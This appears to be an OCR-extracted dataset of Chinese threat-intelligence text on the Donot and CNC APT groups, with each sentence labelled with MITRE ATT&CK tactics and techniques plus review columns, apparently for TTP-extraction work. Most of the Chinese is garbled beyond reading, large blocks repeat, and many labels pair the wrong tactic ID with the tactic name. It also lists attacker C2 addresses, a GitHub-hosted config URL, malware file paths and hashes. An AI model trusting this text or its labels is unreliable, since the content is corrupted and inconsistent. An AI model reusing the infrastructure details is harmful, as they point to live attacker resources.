{'taid":
'"TA0002',
'tactic': '
I, 'tid"
'T1059',
'technique
tIHRIE

e

(1]

SFX X{4iRR dn2272iosUp.dIl 95 H R %Y StTskloipy, iZER%0E DLL HETXX 1242 AES INZ
JEB A\”C:\Users\[user]\AppData\Local\windin.txt”, #15Ri% DLL Z£XEiFEFH temp BEHA
=1, WEFIZR temp BET. ABET COMEOREBITESHAAS—1SH R

SDtuiopnhukm,

[{'taid":
'"TA0002',
'tactic': '
I, 'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
HAT, 'tid":
'T1055',
'technique
i
AL
{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1071",
'technique

[




CUTEHE
iR HE Y]

ETHMI, 4§ WingMndre.dll {R7Z7E Z i BIEH Nsget BRT. MIbFSHERE StTskloipy Hi1T
BPER ALY windin.txt 32, BB itXESEA WingMndre.dll i StConectert S &%, EFix
HRES 51517 SH R SDtuiopnhukm BiZBAIITRIfESSER ("OneDriveUpdaton”) , 10
FERREITHIESHRITAR.

[{'taid":
'"TA0002',
'tactic': '
I 'tid"
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
HAT, 'tid":
'T1055',
'technique
tHREE
A
{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1071",
'technique
tUTREE
fitiis Y]

0,2]

7£ Nsget B R TR Uwn.txt X4, {R7F AES IZEGHY victim id, #A/5i8id CreateProcessW
ERAM TRt FRSE, MERZET DLL fEiE ERS .

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1030',
'technique
" 'FHIBRAR
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1107',
'technique
L RERED

=8

(1]

B4 4 WingMndre.dll THEE I EER, EFESMT,

[{'taid":
'"TA0002',
'tactic': '
AT, tid":
'T1055',
'technique
tHREE
AN

S H K # StConectert E55IAMARIER LY sub_100112D0 E{FEE5 2 — while 1EIF, EAFIAE L
[a] C2 fR$Z 83 & 3% victim id E{SHRE R, Victim id M Nsget B & T Uwn.txt FIREY, WMHRi%
XEFFEMNERER, BEEIENE, HHEERMRE Uwn.txt ASHERRN AES Z55 iv H

[{'taid":
'"TA0002',
'tactic': '
£, 'tid":
'T1071",

-

U]




THBAMKER, MAEENESRERS—E AES ZH iv i1 victim id, RIZEIRESHN
URL J5:

'technique
tRE

EHI

WSRIRERZ] C2 MIMRLH BMHET T—HR(E, TR 30s, HEANT—IREH. WEIESRA""S
R, B—EoRTHME—IEHAN (BEEFEESRES) NRIMRE.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1028',
'technique
RS
1T,
{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1105',
'technique
" RREX

HEmY

18305 Z Al Donot (IIEER21EM, FEXRMAHERRFREFNEEXG, MEEEREREFRL
H,

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1105',
'technique
" RREX

HEmY

TEHREEEERIZEC:\Users\[user]\AppData\Local\Nsget\Updates” B 1, REVGEEA M
FJURLIITF:

[{'taid":
'"TA0002',
'tactic': '

E5', 'tid":

'T1071",
'technique

w5

EHI

U]

EEMSESN, BN alex.bat th# Updates BE T, ASUT.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1059',
'technique
tIHRIME
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1107',
'technique
" TR ED
=228
{'taid":
'"TA0002',

[0, 1]




'tactic': '
BFAM,
'tid":

'T1071",

'technique
tRE

HI

[BIEHEIREEEL while B3 /G, FEITHES DLL —#, NITEREMRE.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1030',
'technique
" 'FHIBRAR
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1107',
'technique
" TR ED

=]

(1]

M WingMndre.dll }#3XE]—1~ &7 SSrtuioUpd.dll B9EE, EAEEMT.

[{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1082',
'technique
"RGME
BRI,
{'taid":
'"TA0002',
'tactic': '

AT, tid":

'T1055',
'technique

tUEREE
N

ZIEFITHREN SR RIS, E(FIHEEFER I sub_10006D10 ISR,

[{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1113/,
'technique

" RERE
RN

U]

AR srt B3R upr XHEUEEIEEI C2 fRS523, EfE URLANT:

[{'taid":
'"TA0002',
'tactic': '

E5', 'tid":

'T1071",
'technique

U]




]

HI

A EFRANMERINEE—E, ELEIA 32 ARAAFI#1TIRI . SHFEL Rivgyrty SR E 5 EI612
BIE &”C:\Users\[user]\AppData\Local\Logo”®, FZFRA difgo2rf.dll,

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1059',
'technique
tIHRIE
£,
{'taid":
'"TA0002',
'tactic': '
BEXH,
'tid":
'T1105',
'technique
" RREX

HEmY

MB— 1SR 2 rgbrgbbgr £ XIGE iH{4H{R7F B £”C:\ProgramData\Winstom\Dnt” T2 & 17
£ Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll =&, MRFEFEMNM C2 RSHRTH, AEERA
f&f4 DLL ) St RESEhiEE. SREVEHEY URL 21T :

[{'taid":
'"TA0002',
'tactic': '

AT, tid":

'T1043',
'technique
| EBR

Hinigdn
LHATY,
{'taid":
'"TA0002',
'tactic': '

E5', 'tid":

'T1071",
'technique
o 1A
DR =

EHI

(1]

= IEMAITIRES AIAN T

[{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1056',
'technique
VN
R,
{'taid":
'"TA0002',
'tactic': '
WEER,
'tid":
'T1002',
'technique
tEIER
o,
{'taid":
'"TA0002',
'tactic': '

0,2]




WEER,
'tid":
'T1113/,
'technique

" RERE
RN

-

— ‘taid': 0
3 MECESERE URL IR, WTHIR: g2 o
‘tactic': '
5, 'tid":
‘T1071",
'technique
LR E

EHI

-

Donot th#E ik EA{ER EXE BIHEN FREBRIVESE, HHEIMOBRHAERNT. e o]
'tactic': ' ’
&5, 'tid":
‘T1105',
'technique
"t RREX

HEmY

BEXAS 1 (MD5: 171c011571f94ea2f5c928bdf5d560dc) i VBA AR TRIER, BERD [g fé%'ézl 2 [l

&, FAIABRIEARE SR pkhfg.bat, ATEIE 3 NMTRIES, ANTEEAMGMEE, tactic': '
B,
'tid":
'T1053',
'technique
tIHRIE
%',
{'taid":
"TA0002',
'tactic': '
AT, 'tid":
T1171,
'technique
" 'DLL 1

]

-
—=

1 E B tbreah.bat X, ZXEREM dfer.cab XHMREY THRA M dfer.exe, [{Tfégo )

'tactic': '
AT, 'tid':
'T1566',
'technique
RS
FXHT
'

-
—=

" ; N " : [{'taid":
BN 2§13 B9 VBA AEBHEM, EULIAEXE 2 (MDS: 'TA0002',

79cff3bc3cbe51e1b3fecd131b949930) Ffli# T, 5ZHIARE, HARBRIMITIRIHLMIIET | 1actic':

FF(Open)i®pk T X HlHi(BeforeClose). AT, 'tid":
'T1053',
'technique

T RIME

e




BBE%S dikd.zip f5, HEERERBPRES, HERERNXEFERENZETUESPIREN
#%122 mnvc.exe, HEMKEEKENXMEREHZNGHRERRIBEFNESR.

[{'taid":
'"TA0002',
'tactic': '
AT, tid:
'T1560',
'technique

©ZIP &
43N

-

3 PRI EXE AR BEEF—, IERNER, (FAEM C2 TRAITERAN, &
ER 1 NERESRFIAH THINF, HPH bat XX EE LR VBA KBRIZEITIESHIX
g,

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1105',
'technique
" RREX

HEmY

U]

TREEA

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid":
'T1105',
'technique
" RREX

HEmY

U]

THEE 2

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1105',
'technique
" RREX

HEmY

U]

BRI EIAREERIE LRREFEANEE, EXE AHBGEENS ZRREHER Donot iE&—
H(3l.

[{'taid":
'"TA0002',
'tactic': '
&4, 'tid"
'T1105',
'technique
" RREX

HEmY

Donot #£ PE XBEAKPEEAELMBL AN KRBT BIE, FRT ERRT TINME ELH
B, 2E 013, HAVRKIILHAHLINL DLL AHZEEANE 01 TRT B EX S ENBRER
BFNE, HEERNESERRMNNZSRANTRAFHEHTLE,

[{'taid":
'"TA0002',
'tactic': '
FafEiRmE",
'tid":
'T1027,
'technique
TTEEX
T

U]

ERXRINFTA AP, FRFHM ASCI BIEF TR ZHFIFR, HIX 01 FREBAFETHES
.,

[{'taid":
'"TA0002',
'tactic': '
BURRAE,
'tid":
'T1555',
'technique

-




" RREIX
HES—
N R
N

MRRAZT—IRXFAEER, MERE 01 TR,

[{'taid":
'"TA0002',
'tactic': '
BURERAE,
'tid":
'T1555',
'technique

"R
HES—
N R
N

£ 2022 F R IAT Donot #AH, FIAHIIINE 01 TR, ST —LEIREEE 01 FHEBUE
HRARRITESR, XRFRERIEFHENESTFHRER 64 MFHREN 01 FRHERT.

[{'taid":
'"TA0002',
'tactic': '
BURRAE,
'tid":
'T1555',
'technique

"R
HES—
N R
N

-

RAXXMBAXNESERERIGFTEN, R base64 fZi5H] AES BH/G, MWERRHUEBMK
REATITRE: (1) BFWRE1; (2) BEASAFTRRME; ) FHHERF.

[{'taid":
'"TA0002',
'tactic': '

£ 672101
'tid":
'T1555',
'technique

"R
HES—
N R
N

-

MEFKRE Donot HAMKEFEEMEE, Wik+FERITIESSHERGEANF, FTXEAND
EHRECHKERRE, TERERAFNEBEALTRTZERNAMKE, MEMSHEL.

[{'taid":
'"TA0002',
'tactic': '
B,
'tid":
'T1053',
'technique
tIHRIME

e

-

U]

ERIET, TREHAPEHNEA, B FRERMERXHRESTTES
(https://sandbox.ti.gianxin.com/sandbox/page) #4713,

[{'taid":
'"TA0002',
'tactic': '
KW, 'tid":
'T1547,
'technique
" RKE
BFAMNN

-




MD5
(EXHH)

06adbb4ba31a52cc5¢9258bf6d99812¢
d98e2d7c8e91a9d8e87abe744f6d43f9
¢839d8a01¢97407526b3407022823c8a
1c4fb7c41e7928bfb74784d910522771
e1d235¢95a7c06b1203048972cf179fa
6de75b200652eefa4aba3bb84da7f798
0ec8911f9764ea7b254ea19cd171535e
171c011571f94ea2f5c928bdf5d560dc
79cff3bc3cbe51e1b3fecd131b949930

dcac3a03c0c58b90cd4cbcc814d12847

[{'taid":
'"TA0040',
'tactic': '
IBIRIEE,
'tid":
'T1003',
'technique
L TRER

4 HASH
EREY

-

(DLL)
e46cd1c4b32355cad39b41ef3b66b659
c231254ced08ca556bf35e587469628f
5557b32672ee9ad6be20395d447a3e52
3feb4de4375dcc3ffb4144e2fc61dd94
4c0dadc4b6938dcc9ca8951d34cb2a09
d30631ba67a28a6e4ab0c4e9584e26¢c2
2abc60fa1e042612e723360ccd8220c6
3c6ad03f0ab284350d8b0d3d4cf22196
07a3c19bc67c5f44c888ce75d4147ecf
d7e123fe7fb8a5f56ec9d89f7787340d
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Discovery'}, {'taid":
"TA0003', 'tactic":
‘Command and
Control', 'tid":
'T1105',
'technique':
'Remote File
Copy'l]

[0, 1]

HTF HETHAT B RIEME FEUELIE PNG X FAANE&.png”HITF

[{'taid": 'TA0002',
'tactic":
'Collection’, 'tid":
'T1005',
'technique': 'Data
from Local
System'}]

U]

EEFIMTR B 1F7E“%appdata%\imagedrvhost.exe, H7F7ERTBLIFREERIELR
iz, HTEENREEFEEMRER, SEEMSERINFRS C2 #1TE
8. ”

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Command

[0, 1]




and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

H1E15 % “githubusercontent.com”, H3XBYBRfHIEX RN,

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

[0, 1]

Bz IR12 B TR“%appdata%\SangSupport.exe”,

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

U]

HHEE(E C2 itk “https://146.59.223.210/solution-

basic/gecko/SangSupport”,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

U]

RE@LER C2 #1TEE, THEZMERREE“%temp%\SangSupport”, T
#1575 #IF“%appdata%\SangSupport.exe”, ks temp B R TEHRAE_MER
& “%temp%\SangSupport”,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1105',
'technique':
'Remote File
Copy'}, {'taid":
'TA0002', 'tactic'":
'Defense Evasion',
'tid": 'T1036',
'technique':
'Masquerading'}]

[0, 1]

B2 {ES1TXI“SangSupportApp”H181& B in B AL AR XX HE B AT E M
EBHE

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1053',
'technique':
'Scheduled
Task/Job'}]

-

U]

J54E853 WTSEnumerateProcessesW HE RAHTZEE,

[{'taid": 'TA0002',
'tactic': 'Discovery’,
'tid": 'T1057",
'technique':
'Process
Discovery'}]

-

U]

IS5 BNEY 2 (E B (& base64 B8, BiT“ http://146.59.223.210/wp-includes?”
E5i.

[{'taid": 'TA0O003',
'tactic":
'Exfiltration’, 'tid":
'T1041",
'technique':
'Exfiltration Over
C2 Channel'},
{'taid': 'TA0002',
'tactic":
'Collection’, 'tid":
'T1003',
'technique': 'OS

[0, 1]




Credential
Dumping'}]

EXRBDHH, HNRIZABAERNS—TAHF“YoudaoDictHelp.exe”, &AM
BAEAEEARAFPERANEFRERAURIEET, ZAHFFAESUT.

[{'taid': 'TAO002',
'tactic":
'Deception’, 'tid":
‘T1036',
'technique':
'Masquerading'}]

-

U]

X5 ER T HBAGFEERNBETEXIMENESE,

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

U]

iR 22 H I8 12 “C:\Windows\System32\drivers\etc\hosts”,

[{'taid': 'TAO002',
'tactic': 'Discovery’,
'tid': 'T1083',
'technique': 'File
and Directory
Discovery'}]

-

U]

1615 “ke.youdao.com” B B FES ASHE hosts X,

[{'taid": 'TA0002',
'tactic': 'Discovery’,
'tid": 'T1016',
'technique':
'System Network
Configuration
Discovery'}]

-

U]

HEMENH B AFET hosts XIS, MRELERIBAI C2 il
“https://149.154.153.155/",,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

U]

SHEMFEHZFET hosts X{4FRET, IREX temp B R HBZE TR
“Rixtemp823243” 1% H 1812 “%temp % \Rixtemp823243 " Hi&MiZ X 4 2 B 17
=,

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid": 'TA0002',
'tactic': 'Discovery’,
'tid": 'T1083',
'technique': 'File
and Directory
Discovery'}]

[0, 1]

SAFENERBIFNES, FIFERNTFRHEENZXM.

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1001",
'technique': 'Data
Obfuscation'}]

-

U]

{ERERES C2 BEH, (EMMEFRESEHRIE C2 HHE URL ithht
“https://149.154.153.155/copyright98/[15 i [ =7 75 &£]1/GetBanner”

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

U]

{EFRERIY, (ERMIFHESERHITHIER K "https://ke.youdao.com/en-
US=[15 F [t FFFE]/region=CN"

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

U]




75 LR c2 BEHIERtE &S MiZ github it T HEC B EHE
“https://raw.githubusercontent.com/kkrightjackhuiyongxx1635/controlid/mai
n/config.json”

[{'taid': 'TAO003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}]

-

U]

% github it AT B R KN

[{'taid": 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]

U]

BT C2 BUEERN, FETHRARE, BESATHETHZAMGFEGHT.
XEHRAT. XEFIHE (“s”) | B (“q”) FIDEE.

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1027,
'technique':
'Obfuscated Files
or Information'},
{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}, {'taid":
"TA0002', 'tactic":
'Execution’, 'tid":
'T1106',
'technique': 'Native
API'}, {'taid":
"TA0002', 'tactic":
'Discovery’, 'tid":
'T1083',
'technique': 'File
and Directory
Discovery'}]

[0,1,2,3]

BT kM EpY“imagedrvhost.exe”, “YoudaoDictHelp.exe”.
“YoudaoDictDesk.exe”F X RIRHFE, RKIMXLFHEIIF S ZARERARALELW
XHEBIEN—FZIR. sHSGPHMNAG, BEAIS BRENEERD E
Inke, BIEAER R URL B ERFSZARNERSIFILE.

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

U]

BREETE RN = RRAEREUE, REREVAEFENE Al BRI HIEZER
JIEZI CNC A4,

[{'taid": 'TA0O002',
'tactic":
'Attribution’, 'tid":
'None', 'technique:
'None'}]

-

U]

B RIS C2 Hulith) SSLIEBHRTOM, HALFERAHIERN 163 BBFE. aq
R ERELIREEFESREERIET, FeZAR—ZNEMIRMEEIERE.

[{'taid": 'TA0002',
'tactic':
'Infrastructure’,
'tid": 'T1583',
'technique':
'Acquire and/or
Use Domain or
Web Services'},
{'taid': 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]

[0, 1]




£ C2149.154.153.155”F, Z/AR{ERE R 163 HiFE
(“shyngwood@163.com”,iZHBfH A FE) URHPEIXEECIZT BERIES
RAFmEEE.

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}, {'taid":
"TA0002', 'tactic":
'Defense Evasion',
'tid': 'T1027",
'technique':
'Obfuscated Files
or Information'}]

[0, 1]

IR EXHY C24152.89.247.104”, {EFRE(RAY 163 HMiFEEIE B ERIEBRATNEE

Ro

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}, {'taid":
"TA0002', 'tactic':
'Defense Evasion',
'tid': 'T1027",
'technique':
'Obfuscated Files
or Information'}]

[0, 1]

CNC ARREAEXR. KRBENAAN BFR#TITIRRE, RE—ENER
.

[{'taid": 'TAO0OO1",
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

-

U]

H7E 2022 5 2023 FHAERAER, EBHMREL. HE. BANERMEMR
FTWHATHRE, SRZRRUNSHEARREHAANEESF, BXRTWREN
REEGHINEMERE .

[{'taid": 'TA0002',
'tactic":
'Collection’, 'tid":
'T1039',
'technique': 'Data
from Information
Repositories'},
{'taid': 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}]

[0, 1]

MIRBRESRRE, RAA—EESEEREAN, FHIEESE. ROTRREGE
BEN, RELQSRINGEERFARRE,

[{'taid": 'TA0004',
'tactic':
'Persistence’, 'tid":
'"T1497',
'technique':
'Virtualization/Sand
box Evasion'},
{'taid': 'TA0004',
'tactic': 'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]

[0, 1]

AMERAREERINET ISR REMBM4NIRES 21, AFE—EXSNEML
DITIRRR AR SIZ RS, AEGSPRIERE IS APT ARERNKEES
HTEDHHXE, ANRRHTET /L1 APT ARMEIEERMALRNFE
MER, RIIEBEF AL E TS APT RNELRRMARKESHE, K

[{'taid": 'TAO005',
'tactic":
'Intelligence’, 'tid":
'None', 'technique':
'None'}]

-

U]




KEEEREHNNTEFR, BBARSHANERESHEN TTP, RIEIFIRLR
ERHENE, ANERANNFEREEM4HITRANDHSHR.

Expert Review Result

text

tts

ttps_pred_co
unt

ttps_accept_i
dx

RIEBRIEAIER, CNC ARARET 2019 FRIKE, S2EEAE&X XM,
HHEREL, #E. HANMARMEMRSTUHTRE, HEIXSRANE
ARAREHHALEEDE.

[{'taid": 'TA00O1",
'tactic': 'Initial
Access', 'tid":
'T1566.001",
'technique':
'Phishing:
Spearphishing
Attachment'},
{'taid": 'TA0002',
'tactic":
'Collection’, 'tid":
T1119',
'technique':
'Automated
Collection'}]

2

U]

EFRBEESF, BRAEERNAGORIBHESS, HiFAGSMT
xR, BUWAZAMNHS BKEIAIREAN D TIEEHEML

[{'taid": 'TA0002',
'tactic":
'Collection’, 'tid":
'T1056',
'technique': 'Input
Capture'}, {'taid":
'"TA0003', 'tactic'":
‘Command and
Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

REBBMMBRFARES

[{'taid': 'TAO002',
'tactic":
'Collection’, 'tid":
'T1087",
'technique':
'Account
Discovery'}]

RERHERRFAE, FHENESFEIMISEEN, MRIEGNBFTRE, BHAIX
HERERE, HAERNETEKM, SM&BEIIE -oneid”HHRZIENEE, S
TP EIRRT IS - lastid"BHERI TN BB

[{'taid': 'TAO002',
'tactic":
'Collection’, 'tid":
‘T1120',
'technique':
'Peripheral Device

Discovery'}, {'taid":

'TA0003', 'tactic":
‘Command and
Control', 'tid":
'T1105',
'technique':
'Remote File
Copy'l]

U]

HTF HETHAT B RIEMEFEUELIE PNG X FAANE&R.png”HITF

[{'taid': 'TA0002',
'tactic":
'Collection’, 'tid":
'T1005',
'technique': 'Data
from Local
System'}]




EEHIMTR B 1F7E“%appdata%\imagedrvhost.exe, H7F7ERBLIFRBEERIELR
2. HTEFEENREESFEEMRER, SEEMESERINTFRS C2 #TE

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

H1E15 % “githubusercontent.com”, H3XBYBIR{hIEX RN,

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

U]

Bz IR12 B TR“%appdata%\SangSupport.exe”,

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

U]

HHEE(E C2 itk “https://146.59.223.210/solution-

basic/gecko/SangSupport”,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

RE@LER C2 #1TEE, THEZMERREE“%temp%\SangSupport”, T
#1575 #IF“%appdata%\SangSupport.exe”, ks temp B R TEHRAE_MER
& “%temp%\SangSupport”,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1105',
'technique':
'Remote File
Copy'}, {'taid":
'TA0002', 'tactic":
'Defense Evasion',
'tid": 'T1036',
'technique':
'Masquerading'}]

[0, 1]

B2 {E5511 X “SangSupportApp” H & Bin N EIRA R WABKX X 4HE 2 AT B =M
ERENTE

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1053',
'technique':
'Scheduled
Task/Job'}]

-

U]

J54Ei853 WTSEnumerateProcessesW W& RAHTZEE.,

[{'taid": 'TA0002',
'tactic': 'Discovery’,
'tid": 'T1057",
'technique':
'Process
Discovery'}]

-

U]

IS5 BNEY T2 (E B (&M base64 B8, BiT“ http://146.59.223.210/wp-includes?”
E5i.

[{'taid": 'TAO003',
'tactic":
'Exfiltration’, 'tid":
'T1041",
'technique':

[0, 1]




'Exfiltration Over
C2 Channel'},
{'taid': 'TA0002',
'tactic":
'Collection’, 'tid":
'T1003',
'technique': 'OS
Credential
Dumping'}]

EXBDH, HNRIZARERNS—TAH“YoudaoDictHelp.exe”, &AM
BEAEEARAFERANEERERAURIEET, ZAHFFAESUT.

[{'taid': 'TAO002',
'tactic":
'Deception’, 'tid":
‘T1036',
'technique':
'Masquerading'}]

-

U]

XS5 ER T HBAGFEERNBETERIMENSE.

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

iR 22 H I8 12 “C:\Windows\System32\drivers\etc\hosts”,

[{'taid': 'TAO002',
'tactic': 'Discovery’,
'tid': 'T1083',
'technique': 'File
and Directory
Discovery'}]

-

1615 “ke.youdao.com” B B FE S ASHE hosts X,

[{'taid': 'TAO002',
'tactic': 'Discovery’,
'tid': 'T1016',
'technique':
'System Network
Configuration
Discovery'}]

-

U]

HEMENH B AFET hosts X, MR LERISAI C2 il
“https://149.154.153.155/",,

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

SHEMFEHZFET hosts X{4FRET, REX temp B R HBRZEZTR
“Rixtemp823243” 1% H 1812 “%temp % \Rixtemp823243 " Hi&MiZ X 4 2 B 17
=,

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0002',
'tactic': 'Discovery’,
'tid': 'T1083',
'technique': 'File
and Directory
Discovery'}]

(1]

SAFENERBIFNES, FIFERNFRHEENZX M.

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1001",
'technique': 'Data
Obfuscation'}]

-

{ERERES C2 BEHY, (EMMEFRESEMRIE C2 HHE URL ithht
“https://149.154.153.155/copyright98/[15 i [EH]. =7 75 &]1/GetBanner”

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-




{EFRERIY, (ERMIFHESERHITHIER K "https://ke.youdao.com/en-
US=[15 F [t FFFE]/region=CN"

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1102',
'technique': 'Web
Service'}]

-

(1]

75 LR c2 BEHIERtE &S MiZ github it T HEC B LR
“https://raw.githubusercontent.com/kkrightjackhuiyongxx1635/controlid/mai
n/config.json”

[{'taid': 'TAO003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}]

-

U]

% github it AT B R KN

[{'taid": 'TA0O002',
'tactic': 'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]

BT C2 BUEERN, FETHTARE, BESATHETLZAMGFEGHT.
XEHAT. XEFIHE (“s”) | Bl (“gq”) FINEE.

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1027,
'technique':
'Obfuscated Files
or Information'},
{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}, {'taid":
"TA0002', 'tactic":
'Execution’, 'tid":
'T1106',
'technique': 'Native
API'}, {'taid":
"TA0002', 'tactic":
'Discovery’, 'tid":
'T1083',
'technique': 'File
and Directory
Discovery'}]

[1,3]

BT kM EpY“imagedrvhost.exe”. “YoudaoDictHelp.exe”.
“YoudaoDictDesk.exe”F X RIRHFE, RKIMXLFHEIIFEZARERARAELW
XHEBIEN—FZIIR. sHSGPHMNAH, BAIS BRENEERDE
Inke, BIEAER R URL B SRS ZARNERSIFILE.

[{'taid': 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1036',
'technique':
'Masquerading'}]

-

U]

BREETER TN E RRAEREE, REREVFARFENE Al BRI HIEZER
JIEZI CNC A4,

[{'taid": 'TA0O002',
'tactic":
'Attribution’, 'tid":
'None', 'technique:
'None'}]

-

BARIMAIZ A C2 Hulith) SSLIEBRTOM, HALFERAHIERN 163 BBFE. aq
AR ERELIREEFESREERIET, FEZAR—ENEMIRMEEIERE.

[{'taid": 'TA0002',
'tactic':
'Infrastructure’,
'tid": 'T1583',
'technique':
'Acquire and/or
Use Domain or
Web Services'},
{'taid': 'TA0002',
'tactic': 'Defense

[0, 1]




Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]

£ C2149.154.153.155”F, Z/AN{ERE{FREY 163 HiFE
(“shyngwood@163.com”,iZHBfAH A FE) URHPEIXEECIZT BERIES
RAFmEEE.

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}, {'taid":
"TA0002', 'tactic":
'Defense Evasion',
'tid': 'T1027",
'technique':
'Obfuscated Files
or Information'}]

U]

IR EXHT C24152.89.247.104”, {EFRE{RAY 163 HMIFEEIE B ERIEBRATNEE

[{'taid": 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}, {'taid":
"TA0002', 'tactic":
'Defense Evasion',
'tid': 'T1027",
'technique':
'Obfuscated Files
or Information'}]

U]

CNC ARREABEXR. KRBENAAN BFR#TITRRE, RE—ENER
.

[{'taid": 'TAO0OO1",
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

U]

H7E 2022 5 2023 FHHERNER, EBHMEL. HE. BANERMEMR
FTWATRE, SRZRRUNSHEARREHAANEESF, BXRTWREM
REEGHINEMERE .

[{'taid": 'TA0002',
'tactic":
'Collection’, 'tid":
'T1039',
'technique': 'Data
from Information
Repositories'},
{'taid': 'TA0003',
'tactic': 'Command
and Control', 'tid":
'T1573',
'technique':
'Encrypted
Channel'}]

MIRBRIERRE, RARA—EEEEREAN, THIEESE. ROTRREGE
BEN, REQSRANGEAERFARREN,

[{'taid": 'TA0004',
'tactic':
'Persistence’, 'tid":
'"T1497',
'technique':
'Virtualization/Sand
box Evasion'},
{'taid': 'TA0004',
'tactic': 'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated Files
or Information'}]




MRS RIRE SIS RS RRD SNBSS, ME—ExBNEML [ggﬁg:'TAOOOS',
